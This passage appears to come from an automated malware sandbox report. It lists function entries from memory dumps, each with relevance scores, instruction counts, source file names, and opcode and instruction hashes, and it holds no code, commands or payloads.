                                                                            • Opcode ID: 76f6abc6303e8fe1e3bcecc15ed77c336127dfca6550b01405842959884b2f20
                                                                            • Instruction ID: f8191d4618398117112a8fc847cfaab019842c358dcf74580d50c80c321ab447
                                                                            • Opcode Fuzzy Hash: 76f6abc6303e8fe1e3bcecc15ed77c336127dfca6550b01405842959884b2f20
                                                                            • Instruction Fuzzy Hash: 2EE04F78909108ABC704EB94E840AADBFB8AB45310F14919AE94857341C7319E41EB94
                                                                            Function 00CDEE08 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1b8573ea438477e02d22bee92f34adc90d4ca2df6970cde75917b577e5853f0e
                                                                            • Instruction ID: 1c366624cd60a40f7940e003aca35bdbf1283462f81232b0ce31f9498f640a8f
                                                                            • Opcode Fuzzy Hash: 1b8573ea438477e02d22bee92f34adc90d4ca2df6970cde75917b577e5853f0e
                                                                            • Instruction Fuzzy Hash: F1E0E574D05208ABCB44DF98D540AADBBB4EB48310F10C1AAE85467351D731AA51EB95
                                                                            Function 046C8C99 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: adad2627af5b9ef99a752df86d9f6bb53060d6656c51c93c801cb2192d86ba2a
                                                                            • Instruction ID: 009c7dda3704b8b9d43ba4fc1dc675d94847d6791e962f4d7f9760469ecd609a
                                                                            • Opcode Fuzzy Hash: adad2627af5b9ef99a752df86d9f6bb53060d6656c51c93c801cb2192d86ba2a
                                                                            • Instruction Fuzzy Hash: DAF07F74A002588FCB69DF55C990BDDB7B5FF88300F50849A990EAB245DB31AE86CF05
                                                                            Function 046CB740 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0a028fa19a5420726b210453f874e645d7a551a293f2729d5535998ede821cdc
                                                                            • Instruction ID: 348d46ac1fa241cd6838e82c98611db00c46f7cfc5fd319b3de3bee999065e46
                                                                            • Opcode Fuzzy Hash: 0a028fa19a5420726b210453f874e645d7a551a293f2729d5535998ede821cdc
                                                                            • Instruction Fuzzy Hash: 1DE01A74D05208EFCB44DFA8E581AACFBB4EB49310F10C1EAEC4463351D731AA56EB98
                                                                            Function 046CBA48 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0a028fa19a5420726b210453f874e645d7a551a293f2729d5535998ede821cdc
                                                                            • Instruction ID: 3d7e5e0affd8366bfad1981cf54f350e2ac2a699912246045dd5030684220d13
                                                                            • Opcode Fuzzy Hash: 0a028fa19a5420726b210453f874e645d7a551a293f2729d5535998ede821cdc
                                                                            • Instruction Fuzzy Hash: 22E0E574D05208ABCB44DF98E441AACBBB4EB48310F10C1AAE844A7351E631AB52EB94
                                                                            Function 046C94EE Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4075a15e97ff3cd4aabacb192cd802c55a12df4231906d1adf27d69cf2e959a6
                                                                            • Instruction ID: c480e5e51393838bc4fea7829c592aee8328ccc50982151924ac84c1266902dc
                                                                            • Opcode Fuzzy Hash: 4075a15e97ff3cd4aabacb192cd802c55a12df4231906d1adf27d69cf2e959a6
                                                                            • Instruction Fuzzy Hash: 43F01571900A1EDBCF269F94CC04AD9B732FF48300F108A48E61A37250EB30AAD6DF50
                                                                            Function 046C7538 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: bd0df1e7047e042406d5b8cbf108b8a60c4f3a507c2a6d1c71b2dd474a7fb519
                                                                            • Instruction ID: 5894fb5a8cc2e1d25ac96874908f78d274f5df8a4945ad3abd1ca486695ce971
                                                                            • Opcode Fuzzy Hash: bd0df1e7047e042406d5b8cbf108b8a60c4f3a507c2a6d1c71b2dd474a7fb519
                                                                            • Instruction Fuzzy Hash: EDE04F70A05108DFC780DFACE4846ACBBF4EB08305F1080ED980893340EB31AE41DB40
                                                                            Function 046C60C8 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: eaec560edb921a687841d2d7b239f1cec4d790e96601a3d76f199851fa02cf9d
                                                                            • Instruction ID: 8081964a60a5b9189eaba62d50d7dcb71f488cc980d03a4af0068adb32d62c62
                                                                            • Opcode Fuzzy Hash: eaec560edb921a687841d2d7b239f1cec4d790e96601a3d76f199851fa02cf9d
                                                                            • Instruction Fuzzy Hash: BAE08634A09108EBC704DF94E9449BCBB74EB45310F10D19DDC4423350D732AE52DB98
                                                                            Function 046C7980 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d8db0b32d59b83316a954c8b7455b56fd6484729657c97c00f14c9106f0041ec
                                                                            • Instruction ID: e49461d20472c30904012a324bc21968e1534522154ecab074db52ed9b7c93b3
                                                                            • Opcode Fuzzy Hash: d8db0b32d59b83316a954c8b7455b56fd6484729657c97c00f14c9106f0041ec
                                                                            • Instruction Fuzzy Hash: 04F06274A05618CFDBA4DF24D894B9AB7B2BB49300F10919AD449A7344DB305E859F46
                                                                            Function 071D8DA8 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: e600999fbfb2cb4369ad603a3177e6789c713c13df37fd75ffea0262bc5166ce
                                                                            • Instruction ID: c39df64ea4d200de57086cbe2652eee9f701797f624ae29e2ee55b1dd0cf25d6
                                                                            • Opcode Fuzzy Hash: e600999fbfb2cb4369ad603a3177e6789c713c13df37fd75ffea0262bc5166ce
                                                                            • Instruction Fuzzy Hash: 9BE01A74D05108ABC744DF98D4506ACBBB8AB49300F1481E9D80853381CB319E01DF44
                                                                            Function 046CBC78 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: 650ab87ab341e32633c46001f97135e04597a09007757dd61fdef4478b434269
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: 69E0EC74A09208DBC704DF94E981AACBBB9EB45714F1091DDD80927351DB316E42DB95
                                                                            Function 046C5448 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 63e9ad54e88a0bbcdc7dc15da2159ee1efe89249018302d6f680176bd2672b71
                                                                            • Instruction ID: 09cc37bd3294f7fa1946b09e171fcec9ef5b181db561b5eed54a94d2062dc3d9
                                                                            • Opcode Fuzzy Hash: 63e9ad54e88a0bbcdc7dc15da2159ee1efe89249018302d6f680176bd2672b71
                                                                            • Instruction Fuzzy Hash: 04E0C2B044210CEBC780EFF4DC0069E77B8EB05310F0048E9D50593110EE325A00D7AA
                                                                            Function 046CCD38 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: ecd3c5e478d3830253cf7f0b78bf37c8d7434500c1121bd8b874cf4573da0efc
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: B3E0EC74A09108DBCB04DF94E981AACBFB9EB45314F1091EDD80927351EB316E46EB95
                                                                            Function 046C1218 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: 3d245b96d4ba58ab6776ebd447f0a09c147c205e50bf65af17d51242ebceb67c
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: 0FE0EC38A09108DBC704DF94E985ABCBBB8EB46314F6091DDD80867351DB316E43DB95
                                                                            Function 046C6B60 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: 6fe506b00e9fd82267717a66730e5bab6418473168842cc65143c6970b0c62f1
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: 9CE01234A0910CDBC744DF94E981ABCBBB4EB45314F1091DDD80867351DB316E52DB99
                                                                            Function 046C5B48 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 13bc973d0e272f136f5de037728a169e2ee74673151e7e949eb577a2a42ce4e2
                                                                            • Instruction ID: 9852f25b44f4c961f859d1117f219d50005eb30e4adf01a21288cba0b1c6e4fd
                                                                            • Opcode Fuzzy Hash: 13bc973d0e272f136f5de037728a169e2ee74673151e7e949eb577a2a42ce4e2
                                                                            • Instruction Fuzzy Hash: 38E0EC70D0621CEFC744EBA898856ADBBB8AB04700F1051A99809A3250EB306A41DB55
                                                                            Function 046C0B38 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: d77d8eda7a42b739f6c810fb23be348b15d62aaa1f6427ee285a60e38fba8ecd
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: 6DE01238A09108DBCB04DFD4E981ABCBBB8EB45315F1091EDD80827351DB326E42DB95
                                                                            Function 046C63C0 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction ID: 845fb8c0a3acc0f6946e9aadd05021cd25f619845263ece65cf08c83862dfa23
                                                                            • Opcode Fuzzy Hash: fa7604ba5f4b1f663de5b8d9653691d3b41822fc856d017f55cf10a89df7b984
                                                                            • Instruction Fuzzy Hash: D1E01234A0910CDBC704DF94E981ABCBBB4EB45314F10A1DDD80827351DB716E43DB99
                                                                            Function 071DB9B8 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b6d260165a4c9fe8b09a4c8bef7faa53b46d3037f22ff924331d10416b72ec39
                                                                            • Instruction ID: 41b9261cb8112cb8960395befd7218a06c08100a3cec2cb7c47eddb4a9362259
                                                                            • Opcode Fuzzy Hash: b6d260165a4c9fe8b09a4c8bef7faa53b46d3037f22ff924331d10416b72ec39
                                                                            • Instruction Fuzzy Hash: DAE0ECB194610C9AC785EFA8990479E76A9EB45220F0055A9950593150EE314A1497A5
                                                                            Function 071DE4B8 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 3c0625b9fd23e0156ccd52d2a8eb254d92e5dcaa83fad4468a52b8758544eb14
                                                                            • Instruction ID: a19f9e6d5b47a2fb663bbdbc44bdf263c1ebe3b8ca970b51c649dd765b8825e8
                                                                            • Opcode Fuzzy Hash: 3c0625b9fd23e0156ccd52d2a8eb254d92e5dcaa83fad4468a52b8758544eb14
                                                                            • Instruction Fuzzy Hash: DCE0C27490910CDBC704DFA8E884AACBBB8EB45311F1091ECD80867380CB325E06CB84
                                                                            Function 046C3E68 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction ID: 2c8bf175142d8989022bba57b060fefb3e408a6a0757a056065501d836bc114b
                                                                            • Opcode Fuzzy Hash: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction Fuzzy Hash: F2E0EC34905108DBC744DBA8D5416BCBBB4EB49215F1481DEDC4857392EB31AE42DB91
                                                                            Function 046CA665 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 44cef127ef79d4c8df01dfcda12c17181e348e0706b25217c66d0f9f9dc2adc1
                                                                            • Instruction ID: fd0b846e27dacf623fe81c9241a711f972dc0e76f1035d0984ceb2131d60dad1
                                                                            • Opcode Fuzzy Hash: 44cef127ef79d4c8df01dfcda12c17181e348e0706b25217c66d0f9f9dc2adc1
                                                                            • Instruction Fuzzy Hash: 1DE04F74A0421C8FCB69CF14C810BAE7BB5FB4D300F0041D9E55AA3749DA344A45AF51
                                                                            Function 046C5788 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction ID: 6d1f01d5b7d040c10aadbbab1ed99ffbd0bd4c00ec603386280e9c6298ab150a
                                                                            • Opcode Fuzzy Hash: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction Fuzzy Hash: 4CE0C234905108EFC740DBA8D9406BCBFB4EB45300F1080DDD84953381EB31AE42DB64
                                                                            Function 046C7200 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction ID: dfec1b8d4565ae02f49aee34e15de79850eba31fd609adeb2a896fb40787656f
                                                                            • Opcode Fuzzy Hash: 61517ab0a2e8215acbce239920eb9cec9b3da164da2b95fa77c81de8fe0fc8d2
                                                                            • Instruction Fuzzy Hash: AFE08C309051089BC740DBA8D4406BCBBB4EB49201F1080EDE84853381EA36AE02DB50
                                                                            Function 00CDFFA8 Relevance: .0, Instructions: 17COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9d70d6fddfc8a19ca546e8a6f7f1586625d5271b966080b1c619836d0644fbb1
                                                                            • Instruction ID: d2425dbb3aa5a0d806e91cbdcb3cdac7a22f216bb38e367382165cf26b74d504
                                                                            • Opcode Fuzzy Hash: 9d70d6fddfc8a19ca546e8a6f7f1586625d5271b966080b1c619836d0644fbb1
                                                                            • Instruction Fuzzy Hash: DED05E30509108DBC744CBD4E880A69B7B8EB46318F2490EEA80953391CB329E02D795
                                                                            Function 046C74B8 Relevance: .0, Instructions: 17COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a8467f9d50a838ff6f13064a1ad606a9150f58798886ced875a0f00f3406beef
                                                                            • Instruction ID: d3b93aed14a8eacc4213dccdaa0e080655a10b222eb8131e6e6e30961e323691
                                                                            • Opcode Fuzzy Hash: a8467f9d50a838ff6f13064a1ad606a9150f58798886ced875a0f00f3406beef
                                                                            • Instruction Fuzzy Hash: D3D05E3060A208DBC744EB94E841A79BBA8EB55316F1090DC980853351EB72AE02DB94
                                                                            Function 046C8D17 Relevance: .0, Instructions: 15COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: e95e70a89261726d7689cbf5c79f5feb395425013b9709573fe45f7516392af2
                                                                            • Instruction ID: f610058494bf96c2d91fbf01cbc92769e01c2cce1239fe5592e175a1b24b97d0
                                                                            • Opcode Fuzzy Hash: e95e70a89261726d7689cbf5c79f5feb395425013b9709573fe45f7516392af2
                                                                            • Instruction Fuzzy Hash: 0FE09274A00218CFCB60DF54C980AADB7F5EF48300F14809A990DA7301EB31AE86CF00
                                                                            Function 046C8EF9 Relevance: .0, Instructions: 13COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: db8f55e88c031150c02ddd377a080733ad9f29eb48eb8536581369f64ab276b8
                                                                            • Instruction ID: ceeeef0ffe68f03067c664a396916f2f75582a1b055ad9c1be31d232a75fd076
                                                                            • Opcode Fuzzy Hash: db8f55e88c031150c02ddd377a080733ad9f29eb48eb8536581369f64ab276b8
                                                                            • Instruction Fuzzy Hash: BFE0E239904269CFCF24DF20D808BDABBB2BB08305F0481D9840A63250E33A5ACADF00
                                                                            Function 071DE968 Relevance: .0, Instructions: 12COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 35a073ee0ee3925a42700cb1184506c6c8d70719ae86a417471484936dcda718
                                                                            • Instruction ID: 0e5301f29426666aec52a1c67c7f2fb4ac08a9c44f7f91991fd0f410229af590
                                                                            • Opcode Fuzzy Hash: 35a073ee0ee3925a42700cb1184506c6c8d70719ae86a417471484936dcda718
                                                                            • Instruction Fuzzy Hash: 7BC08CB00CB20986C9882298744837532DD930E303F002880A50C000A08B60080CCA68
                                                                            Function 046C6DBE Relevance: .0, Instructions: 11COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d52d0eafe433ac1b71612b8e65ca457e0db3e8a25d9b3de87f12250911086ff7
                                                                            • Instruction ID: acd848527107161e8522af4c6925de71fa5cfe6dc63e84a6ac9ac91b3386b271
                                                                            • Opcode Fuzzy Hash: d52d0eafe433ac1b71612b8e65ca457e0db3e8a25d9b3de87f12250911086ff7
                                                                            • Instruction Fuzzy Hash: B5D05238A00208CFEB08EF24D814BACBBF2EB48300F008069D00AA3294EA340A81DF06
                                                                            Function 00CD0840 Relevance: .0, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fee5378c63ac866a4ef0bae2e9e49da5d486f5020b80686b3a22f4943fae2cb0
                                                                            • Instruction ID: 9174934816218b7360c3344e23c7bb135ba08ffc8e489257d4d116604b21a657
                                                                            • Opcode Fuzzy Hash: fee5378c63ac866a4ef0bae2e9e49da5d486f5020b80686b3a22f4943fae2cb0
                                                                            • Instruction Fuzzy Hash: 7CC09B314052DD55D7315B79FC0A7DB7F5C4701118F54C0D9E64C1554387B56014D79F
                                                                            Function 00CD0850 Relevance: .0, Instructions: 5COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ed19d2b5f229825dcbc70f301d743704287ba1daa58ef29f9b41b94054751d99
                                                                            • Instruction ID: 037f7039669f2c0fdb476ac800179c2bffa0044741d688f13e07854ee466175a
                                                                            • Opcode Fuzzy Hash: ed19d2b5f229825dcbc70f301d743704287ba1daa58ef29f9b41b94054751d99
                                                                            • Instruction Fuzzy Hash: 3090023104461D8B464027D57809759B75C96445597814051A60D415125B66A4144699

                                                                            Non-executed Functions

                                                                            Function 00CDDE58 Relevance: 2.7, Strings: 2, Instructions: 171COMMON
                                                                            Download Yara Rule
                                                                            Strings
